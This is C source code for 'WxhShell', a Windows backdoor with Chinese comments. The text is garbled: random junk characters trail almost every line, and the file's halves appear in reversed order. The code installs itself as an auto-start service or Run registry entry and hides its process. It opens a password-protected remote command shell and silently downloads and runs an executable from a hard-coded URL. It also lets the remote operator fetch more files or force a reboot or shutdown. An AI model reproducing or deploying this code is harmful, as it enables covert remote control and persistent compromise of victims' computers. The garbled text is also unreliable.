    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jt}Re,  
    if(Boot(SHUTDOWN)) 7.29'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7wj2-BWa  
    else { ]ogifnwv  
    closesocket(wsh); $5pCfW8>  
    ExitThread(0); ZO/e!yju  
    } r(r(&NU  
    break; 7 z    
    } 8C{&i5kj\E  
  // 获取shell UPH#~D!  
  case 's': { ins(RWO  
    CmdShell(wsh); _%Z.Re  
    closesocket(wsh); 5az%yS  
    ExitThread(0); KSs1EmB  
    break; )|*Qs${tF  
  } d7^ `  
  // 退出 v_zt$bf{Y  
  case 'x': { q=3>ij {v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D=ej%]@iw  
    CloseIt(wsh); :[<Y#EX.  
    break; O}"oz3H  
    } yx8G9SO?  
  // 离开 PMP{|yEx"  
  case 'q': { 1"y !wsM%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "=a3"/u  
    closesocket(wsh); ^8&}Nk[j  
    WSACleanup(); UC+Qn  
    exit(1); jV2H61d  
    break; Z 7@'I0;A  
        } /<-PW9X?  
  } !*v% s  
  } OH@"]Nc~  
44e]sT.B  
  // 提示信息 k^}[+IFJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -f|/#1  
} SNqSp.>-U"  
  } 1NP  
_\>y[e["p  
  return; Lc~m`=B  
} x/<ow4C  
mW{;$@PLF"  
// shell模块句柄 GXZ="3W |  
int CmdShell(SOCKET sock) Qm[((6}  
{ i$y=tJehi  
STARTUPINFO si; bkJ bnW=  
ZeroMemory(&si,sizeof(si)); =OK#5r[UV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k5< n:dS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -o+t&m  
PROCESS_INFORMATION ProcessInfo; P' VHga  
char cmdline[]="cmd"; )>M L7y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &m--}  
  return 0; l-w4E"n3  
} 3}}/,pGSc  
eY 3:Nl^  
// 自身启动模式 eP~3m  
int StartFromService(void) IX+Jf? &^  
{ nC3+Zka  
typedef struct jN+`V)p  
{ ).kU7;0  
  DWORD ExitStatus; x[t?hl=:  
  DWORD PebBaseAddress; "22./vWV|i  
  DWORD AffinityMask; R"OT&:0/  
  DWORD BasePriority; d_ =K (}eR  
  ULONG UniqueProcessId; v.W!  
  ULONG InheritedFromUniqueProcessId;  _ %mm  
}   PROCESS_BASIC_INFORMATION; I~l_ky|a !  
S+06pj4Ie  
PROCNTQSIP NtQueryInformationProcess; (~G*' /)  
@zS/J,:v}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W\[E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P{dR pH|  
&3/`cl[+  
  HANDLE             hProcess; =-!jm? st*  
  PROCESS_BASIC_INFORMATION pbi; q5g_5^csM{  
HZ<#H3_ix  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); il >+jVr  
  if(NULL == hInst ) return 0; }F1Asn  
.U(6])%;@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iY>x x~V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #4|RaI|.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {W?!tD43"  
f #h0O3  
  if (!NtQueryInformationProcess) return 0; &K]|{1+  
X:Y1g)|K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `_vPElQXZ#  
  if(!hProcess) return 0; Vc'p+e|(  
[%>*P~6nK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m:Rx<E E  
7eq.UyUxs  
  CloseHandle(hProcess); 3wN4kltt  
CH+%q+I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hak#Iz0[C  
if(hProcess==NULL) return 0; 7h9oY<W  
T2-x1Sw_  
HMODULE hMod; 6iQqOAG  
char procName[255]; Yaq0mef0  
unsigned long cbNeeded; _x5-!gK  
2^s&#@n3t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NTJ,U2  
S ?t `/"O  
  CloseHandle(hProcess); vasw@Uto)  
toF6 Z  
if(strstr(procName,"services")) return 1; // 以服务启动 'NWvQR<X  
BfCib]V9C  
  return 0; // 注册表启动 AkjoD7.*  
} h1>.w pr  
,=!s;+lu{  
// 主模块 Rt%Dps%  
int StartWxhshell(LPSTR lpCmdLine) f~d =1  
{ _BG `!3U+  
  SOCKET wsl; )FB<gCh7X  
BOOL val=TRUE; y~_x  
  int port=0; >ptI!\i}  
  struct sockaddr_in door; Q m9b:U~  
xG~-.  
  if(wscfg.ws_autoins) Install(); D vEII'-h  
#euOq  
port=atoi(lpCmdLine); j5Yli6r?3-  
q&ed4{H<  
if(port<=0) port=wscfg.ws_port; EHe-wC  
f].z.  
  WSADATA data; PmId #2f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a[^dK-  
F`Vp   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Zo-Au  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zh !/24p9  
  door.sin_family = AF_INET; JmF`5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J!rZs kd  
  door.sin_port = htons(port); -'W:P'BG  
P)TeF1~T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?fs#K;w  
closesocket(wsl); ^<yM0'0t  
return 1; XSZjuQ<[3  
} :\#]uDT2=  
VyU!r* o  
  if(listen(wsl,2) == INVALID_SOCKET) { IsL=DV/  
closesocket(wsl); r~;.8qs  
return 1; .hvn/5s  
} t[%=[pJHW  
  Wxhshell(wsl); QL(}k)dB  
  WSACleanup(); `).;W  
:?%_JM5U  
return 0; >fR#U"KPAB  
b=Sl`&A  
} ]:^kw$  
d@|j>Z  
// 以NT服务方式启动 '9wD+'c=A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S4O:?^28  
{ >|T?87  
DWORD   status = 0; =7P; /EV  
  DWORD   specificError = 0xfffffff; ;`bJgSCfo  
MD:kfPQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G[yN*C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Dc> )js|"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \v_t: "  
  serviceStatus.dwWin32ExitCode     = 0; A%M&{S'+|X  
  serviceStatus.dwServiceSpecificExitCode = 0; 4d'tK^X  
  serviceStatus.dwCheckPoint       = 0; Q;$/&Y*  
  serviceStatus.dwWaitHint       = 0; ZoC?9=k  
;Wr,VU]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vo2frWF$  
  if (hServiceStatusHandle==0) return; UE\@7  
]*;+ U6/?  
status = GetLastError(); "=!QSb  
  if (status!=NO_ERROR) w1A&p  
{ ]O&A:Us  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ip0@Q}^  
    serviceStatus.dwCheckPoint       = 0; 'E8dkVlI  
    serviceStatus.dwWaitHint       = 0; s?K4::@Fv  
    serviceStatus.dwWin32ExitCode     = status; .Lu=16  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5p{tt;9[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s: q15"  
    return; m9>nv rQ  
  } *t|j+*c}  
2|w.A!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u&I~%s  
  serviceStatus.dwCheckPoint       = 0; ~(0Y`+gC  
  serviceStatus.dwWaitHint       = 0; CM's6qhQnn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )@`w^\E_~_  
} Q+ST8  
KF-gcRh  
// 处理NT服务事件,比如:启动、停止 \ZDT=?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yM D* >8/  
{ .y[K =p3  
switch(fdwControl) $l[*Y  
{ LveqG   
case SERVICE_CONTROL_STOP: +Vf|YLbhJ  
  serviceStatus.dwWin32ExitCode = 0; S(-=I!.G{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E 0pF; P5  
  serviceStatus.dwCheckPoint   = 0; CX'E+  
  serviceStatus.dwWaitHint     = 0; s9GPDfZ  
  { TAC\2*bWje  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LP)mp cQ  
  } "RX?"pB  
  return; {}^ELw  
case SERVICE_CONTROL_PAUSE: LA@}{hU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  FZ2-e  
  break; hJ4.:  
case SERVICE_CONTROL_CONTINUE: <,hBoHZSL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ze\~-0ks +  
  break; /7"1\s0U  
case SERVICE_CONTROL_INTERROGATE: |95/'a*  
  break; `oz7Q(`  
}; ".i{WyTt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /+1Fa):  
} Oc'z?6axWv  
SCH![Amq  
// 标准应用程序主函数 o%9>elOju  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _0j}(Q>|H#  
{ S+>]8ZY  
x)yf!Dv5$  
// 获取操作系统版本 |f}NO~CA  
OsIsNt=GetOsVer(); EhUy7b,1_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RK3/!C`  
X5/{Mx`8Oz  
  // 从命令行安装 `U1%d7[vY  
  if(strpbrk(lpCmdLine,"iI")) Install(); S&uL9)Glb  
Cw|SY  
  // 下载执行文件 DVcu*UVw  
if(wscfg.ws_downexe) { n)7icSc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G-(c+6Mn  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6uXYZ.A  
} :d2u?+F  
t(rU6miN  
if(!OsIsNt) { G-^ccdT  
// 如果时win9x,隐藏进程并且设置为注册表启动 pz IMj_  
HideProc(); yl 8v&e{  
StartWxhshell(lpCmdLine); 4F4u1r+  
} .M{[J]H`t  
else .XB] X  
  if(StartFromService()) rlIEch^wZ  
  // 以服务方式启动 pOYtN1uN|  
  StartServiceCtrlDispatcher(DispatchTable); YPy))>Q>cK  
else G([vy#p  
  // 普通方式启动 @!'H'GvA  
  StartWxhshell(lpCmdLine); #Fd( [Zx#.  
bg*{1^  
return 0; (Sv%-8?gs  
} -d3y!| \>a  
td&l T(7  
C|J1x4sb@  
85{vz|(':  
=========================================== ~&/Gx_KU  
.>'Z9.Xnk  
9h(hx 7]  
?BZ][~n-Q  
G0Eq }MyF  
/a|NGh%  
" .am*d|&+G  
~=mM/@HD  
#include <stdio.h> {LD8ie|x1`  
#include <string.h> KTEis!w  
#include <windows.h> VT7NWT J,  
#include <winsock2.h> "'#Hh&Us  
#include <winsvc.h> &Kp+8D*  
#include <urlmon.h> rw2|1_AF  
DS2$w9!  
#pragma comment (lib, "Ws2_32.lib") JrAc]=  
#pragma comment (lib, "urlmon.lib") @#tSx  
T_Y}1n|7[  
#define MAX_USER   100 // 最大客户端连接数 8W>l(w9M  
#define BUF_SOCK   200 // sock buffer dSZ#,Ea"  
#define KEY_BUFF   255 // 输入 buffer //@=Q!MW  
m6cW  
#define REBOOT     0   // 重启 7$=@q|$  
#define SHUTDOWN   1   // 关机 +3>4 ?,^g  
;LE @Ezx  
#define DEF_PORT   5000 // 监听端口 fdG.=7`  
6I#DlAU@v  
#define REG_LEN     16   // 注册表键长度 $\!;*SSj  
#define SVC_LEN     80   // NT服务名长度 ?63JQ.;  
uP]o39b;V  
// 从dll定义API rfi`Bp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A%2}?Ds  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uCfp+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;/T-rVND  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,-Nk-g  
<R>ZG"m{  
// wxhshell配置信息 BD-=y  
struct WSCFG { )x&@j4,  
  int ws_port;         // 监听端口 OF/)-}!  
  char ws_passstr[REG_LEN]; // 口令 q)b?X ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no QZox3LM1&.  
  char ws_regname[REG_LEN]; // 注册表键名 >NA7,Z2.  
  char ws_svcname[REG_LEN]; // 服务名 NF!1)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +:%FJCOT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K>6k@okO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s*~o%emw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tlgvBRH>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "'B%.a#k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sg>0P*K@  
!y~b;>887  
}; j]"xck  
5qSZ>DZ  
// default Wxhshell configuration 9nS!  
struct WSCFG wscfg={DEF_PORT, %:?QE ;  
    "xuhuanlingzhe", xN8JrZE&  
    1, SqF.DB~  
    "Wxhshell", !gHWYWu)!  
    "Wxhshell", :[f`HY&  
            "WxhShell Service", QS*cd|7J;  
    "Wrsky Windows CmdShell Service", X", 0VO  
    "Please Input Your Password: ", f94jMzH9z  
  1, H<}eoU.  
  "http://www.wrsky.com/wxhshell.exe", :&)/vq  
  "Wxhshell.exe" ld}$Tsy0  
    }; {dXBXC/Ju  
'\B"g@if  
// 消息定义模块 `j}d=zZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b|o!&9Yyr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TeCpT2!5j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .<^Y E%  
char *msg_ws_ext="\n\rExit."; /'fDXSdP  
char *msg_ws_end="\n\rQuit."; {WeXURp&nF  
char *msg_ws_boot="\n\rReboot..."; @[lc0_ b  
char *msg_ws_poff="\n\rShutdown..."; 7O{O')o!  
char *msg_ws_down="\n\rSave to "; 89#0vG7m  
?lN8~Ze  
char *msg_ws_err="\n\rErr!"; M2Fj)w2   
char *msg_ws_ok="\n\rOK!"; M.N~fSJ   
S} Cp&}G{P  
char ExeFile[MAX_PATH]; R 0HVLQI  
int nUser = 0; %`1CE\f  
HANDLE handles[MAX_USER]; 2 RUR=%C  
int OsIsNt; EvQwGt1)P  
ZNpExfGEU  
SERVICE_STATUS       serviceStatus; yPh2P5}H>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ca@=s  
QsJW"4d  
// 函数声明 0&IXzEOr  
int Install(void); RrdtU7i3  
int Uninstall(void); L"!ZY  
int DownloadFile(char *sURL, SOCKET wsh); 6.h   
int Boot(int flag); 7Ljj#!`lUp  
void HideProc(void); A a} o*  
int GetOsVer(void); uoY`qF.`  
int Wxhshell(SOCKET wsl); i(yAmo9h  
void TalkWithClient(void *cs); #t2UPLO~  
int CmdShell(SOCKET sock); ]ZzG!7  
int StartFromService(void); q6JW@GT  
int StartWxhshell(LPSTR lpCmdLine); Xu94v{u3  
DwY<qNWT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X0Z-1bs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wEnuUC4j  
=ch Af=  
// 数据结构和表定义 ~K-*q{6Q  
SERVICE_TABLE_ENTRY DispatchTable[] = tG2OVRx8u  
{ Jp3di&x  
{wscfg.ws_svcname, NTServiceMain}, &M3ES}6  
{NULL, NULL} H]$=*(aje  
}; 0SY f<$  
_p J_V>l  
// 自我安装 ca/o#9:N`:  
int Install(void) yaRcBT?  
{ nOal7BNN  
  char svExeFile[MAX_PATH]; b?]ly(  
  HKEY key; yvoo M'R  
  strcpy(svExeFile,ExeFile); "vOfAo]`  
5u|=;Hz*)  
// 如果是win9x系统,修改注册表设为自启动 u@Cf*VPK  
if(!OsIsNt) { 2@R8P~^W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zp(=[n5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P A6KX5  
  RegCloseKey(key); CI!Eq&D,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N`<4:v[P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vv yrty  
  RegCloseKey(key); Bq~hV;9nf  
  return 0; e@:P2(WW l  
    } ?l, X!o6  
  } -M:hlwha  
} q]N?@l]  
else { }>;ht5/i/  
wHOlj)CZ  
// 如果是NT以上系统,安装为系统服务 o\]: !#r{T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HLSfoQ&)v  
if (schSCManager!=0) juCG?}di;  
{ XnE %$NJ  
  SC_HANDLE schService = CreateService <cDKGd  
  ( C](z#c~c  
  schSCManager, i'Y'HI  
  wscfg.ws_svcname, cNuHXaWp  
  wscfg.ws_svcdisp, 2&gd"Ak(  
  SERVICE_ALL_ACCESS, F8[B^alAe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p`ADro*  
  SERVICE_AUTO_START, t8A kdSU0  
  SERVICE_ERROR_NORMAL, b@wBR9s  
  svExeFile, C,{F0-D  
  NULL, xA&  
  NULL, Cgz&@@j,]  
  NULL, Z\|u9DO  
  NULL, h eE'S/  
  NULL WjY{rM,K  
  ); [Y22Wi  
  if (schService!=0) fwi};)K  
  { 1C0Y0{6,  
  CloseServiceHandle(schService); !_U37Uj<m  
  CloseServiceHandle(schSCManager); [arTx ^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <o&o=Y8  
  strcat(svExeFile,wscfg.ws_svcname); DIG0:)4R.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jtp>m?1Ve  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vXy uEEe  
  RegCloseKey(key); &\1'1`N1  
  return 0; 6.U  "_%  
    } )@Zc?Da  
  } /`+Hw dk  
  CloseServiceHandle(schSCManager); ~5r=FF6  
} I(OAEIz  
} QN_)3lm  
aFRTNu/r  
return 1; 9Qzjqq:"Li  
} y Y>-MoF/t  
1 [Sv  
// 自我卸载 u/gm10<OWa  
int Uninstall(void) =PNdP  
{ ]{IR&{EI-  
  HKEY key; lx{.H,1~  
,8c dXt   
if(!OsIsNt) { =5y`(0 I`U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B*?ZE4`  
  RegDeleteValue(key,wscfg.ws_regname); Hva2j<h  
  RegCloseKey(key); G;(onJz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y$IaXr5L  
  RegDeleteValue(key,wscfg.ws_regname); (O8,zqP9l  
  RegCloseKey(key); L!;^ #g  
  return 0; @72x`&|I?u  
  } F+ffl^BQ  
} n$.1Wk"  
} gB]C&Q  
else { Mn]}s:v  
C(-[ Y!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2X|CuL{]  
if (schSCManager!=0) m_Mwg  
{ Z0e-W:&;kF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `nT?6gy  
  if (schService!=0) 2B HKS-J*  
  { W1xf2=z`)T  
  if(DeleteService(schService)!=0) { i{gDW+N  
  CloseServiceHandle(schService); ?VwK2w$&={  
  CloseServiceHandle(schSCManager); `FUFK/7 w\  
  return 0; DVObrL)znL  
  } [J~aAB  
  CloseServiceHandle(schService); z*6$&sS\>  
  } ZV!R#Xv  
  CloseServiceHandle(schSCManager); "@.Z#d|Y  
}  QTVa  
} 3PsxOb+  
d,)}+G  
return 1; 0/ut:RV0  
} SK's!m:r=  
?E % +}P  
// 从指定url下载文件 <u0*"  
int DownloadFile(char *sURL, SOCKET wsh) 8)N0S% B  
{ c#=&!FRe  
  HRESULT hr; '.pgXsC:=?  
char seps[]= "/"; D899gGe  
char *token; 43KaL(  
char *file; FyCBN tCv  
char myURL[MAX_PATH]; e\`wlaP,  
char myFILE[MAX_PATH]; z~F37]W3[  
p` $fTgm  
strcpy(myURL,sURL); Jf2e<?`  
  token=strtok(myURL,seps); mv{<'  
  while(token!=NULL) s~L`53A  
  { $( S*GF$S  
    file=token; y)P&]&"?  
  token=strtok(NULL,seps); c8T/4hU MN  
  } Tru c[A.2Z  
Zw+=ng.q?  
GetCurrentDirectory(MAX_PATH,myFILE); bn$)f6%  
strcat(myFILE, "\\"); ,ohmc\*J  
strcat(myFILE, file); 9 +}cE**=d  
  send(wsh,myFILE,strlen(myFILE),0); ]*0(-@  
send(wsh,"...",3,0); 19'5Re&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _0K.Fk*(!  
  if(hr==S_OK) f6Ml[!aU  
return 0; X1Qr _o-BR  
else ThtMRB)9  
return 1; 6_WmCtvF  
mxgqS=`  
} jDkm:X}:  
{t&*>ma6)  
// 系统电源模块 d [r-k 2  
int Boot(int flag) :WVSJ,. !  
{ OZ=Cp$  
  HANDLE hToken; f_rp<R>Uu  
  TOKEN_PRIVILEGES tkp; Wj&nUp{  
$|k%@Q>  
  if(OsIsNt) { 975 _d_U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xpAok]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^CUSlnB\(  
    tkp.PrivilegeCount = 1; )#a7'Ba  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  7SaiS_{:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WVOoHH  
if(flag==REBOOT) { sdrWOq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rS4%$p"  
  return 0; (Ux [[  
} [,rn3CA  
else { (Izf L1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %yfE7UPS]  
  return 0; Y3k[~A7X  
} e gI&epN  
  } 19p8B&  
  else { uxb:^d?D!  
if(flag==REBOOT) { :5jexz."M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;,k=<]  
  return 0; pl|h>4af  
} 9p4y>3  
else { X &D{5~qC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NEw $q4  
  return 0; ~cIl$b  
} "kU]  
} 1 DqX:WM6  
h/HH Kn  
return 1; \%TyrY+`K  
} =G4u#t)  
*1$    
// win9x进程隐藏模块 P_&p=${  
void HideProc(void) nM8[  
{ A @2Bs 5F  
e\D| o?v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U7h(-dV   
  if ( hKernel != NULL ) ?`H[u7*%  
  { P#MK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &<Zdyf?[Ou  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8eN7VT eb  
    FreeLibrary(hKernel); \x(^]/@  
  } hO \/  
s1 bU  
return; hO3 {  
} /OG zt  
R&*@@F-dx  
// 获取操作系统版本 {n&Uf{  
int GetOsVer(void) dxCPV6 XI  
{ H O*YBL  
  OSVERSIONINFO winfo; [9AM\n>g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 35_)3 R)  
  GetVersionEx(&winfo); s6n`?,vw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) APq7 f8t  
  return 1; E{% SR  
  else U*\17YU6h  
  return 0; YG`? o  
} kAo.C Nj7  
o_$&XNC_  
// 客户端句柄模块 ($8t%jVWJJ  
int Wxhshell(SOCKET wsl) {[W(a<%bXm  
{ ]Lm'RlV  
  SOCKET wsh; C6]OAUXy:F  
  struct sockaddr_in client; "%@v++4y  
  DWORD myID; X{\jK]O  
),` 8eQC  
  while(nUser<MAX_USER) v+6e;xl8  
{  z)w-N  
  int nSize=sizeof(client); : G=FiC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t7*#[x)a  
  if(wsh==INVALID_SOCKET) return 1; ^~1<f1(  
wd+K`I/v7h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I 8z G~L%"  
if(handles[nUser]==0) d:rGyA]  
  closesocket(wsh); $FX,zC<=  
else g`[$Xi R  
  nUser++; IPtvuEju\  
  } >{nH v)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rt}^4IqL  
?lKhzH.T  
  return 0; i\Wdo/c-H  
} %\6Q .V#s  
*yez:qnx  
// 关闭 socket 9]7u _  
void CloseIt(SOCKET wsh) h/m6)m.D  
{ +TSSi em  
closesocket(wsh); v* ~3Z1  
nUser--; suVmg-d  
ExitThread(0); FFvCi@oT  
} *x(Jq?5O7X  
>2lwWXA  
// 客户端请求句柄 pj8azFZ  
void TalkWithClient(void *cs) g7n "  
{ ?fK1  
BC77<R!E)  
  SOCKET wsh=(SOCKET)cs; \Y5W!.(%w  
  char pwd[SVC_LEN]; q-_' W,  
  char cmd[KEY_BUFF]; Z a(|(M H  
char chr[1]; bRsTBp;R`I  
int i,j; _A'{la~k  
{/ 2E*|W~I  
  while (nUser < MAX_USER) { tC)6  
L0"~[zB]N  
if(wscfg.ws_passstr) { (CE7j<j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MKg,!TELe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2*1ft>Uty  
  //ZeroMemory(pwd,KEY_BUFF); 7x k|+!  
      i=0; /+[63=fl  
  while(i<SVC_LEN) { -LWK*q[J;*  
+B"0{>n}F  
  // 设置超时 ;rR/5d1!  
  fd_set FdRead; $NG++N  
  struct timeval TimeOut; Mvcfk$pA  
  FD_ZERO(&FdRead); ar ^i|`D  
  FD_SET(wsh,&FdRead); $k%Z$NSN=  
  TimeOut.tv_sec=8; :YO@_  
  TimeOut.tv_usec=0; sWqM?2g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .%}+R|g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DL8x":;  
@S3f:s0~D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7o]HQ[xO  
  pwd=chr[0]; )jDJMi_[  
  if(chr[0]==0xd || chr[0]==0xa) { 6Q Zp@  
  pwd=0; ^}$O|t  
  break; &c%Y<1e`%  
  } 0XU}B\'<  
  i++; n}nEcXb  
    } 8@\7&C(g17  
jndGiMA  
  // 如果是非法用户,关闭 socket ?Bx./t><  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]A+o>#n}x  
} Es4qPB`g.  
',=g;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5V5w:U>_z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S Xr%kndS  
9pD 7 f`  
while(1) { #Dy?GB08  
X#p Wyo~  
  ZeroMemory(cmd,KEY_BUFF); TqAPAHg  
BmBz}:xMez  
      // 自动支持客户端 telnet标准   PK2~fJB  
  j=0; QP(BZJC  
  while(j<KEY_BUFF) { (z7+|JE.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `/IKdO*!S  
  cmd[j]=chr[0]; B[o`k]]  
  if(chr[0]==0xa || chr[0]==0xd) { kOrl\_!z3  
  cmd[j]=0; !0}\&<8/m  
  break; WO*9+\[v  
  } B80aw>M  
  j++; e %O0hE  
    } k$i'v:c|:i  
01@t~v3!Z  
  // 下载文件 md Gwh7/3  
  if(strstr(cmd,"http://")) { zsQoU&D 5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RHY4P4B<v>  
  if(DownloadFile(cmd,wsh)) 9 c3E+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AMCyj`Ur  
  else L>9R4:g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T)iW`vZg8  
  } iCQ>@P]nE  
  else { [2c{k  
XNH4vG |  
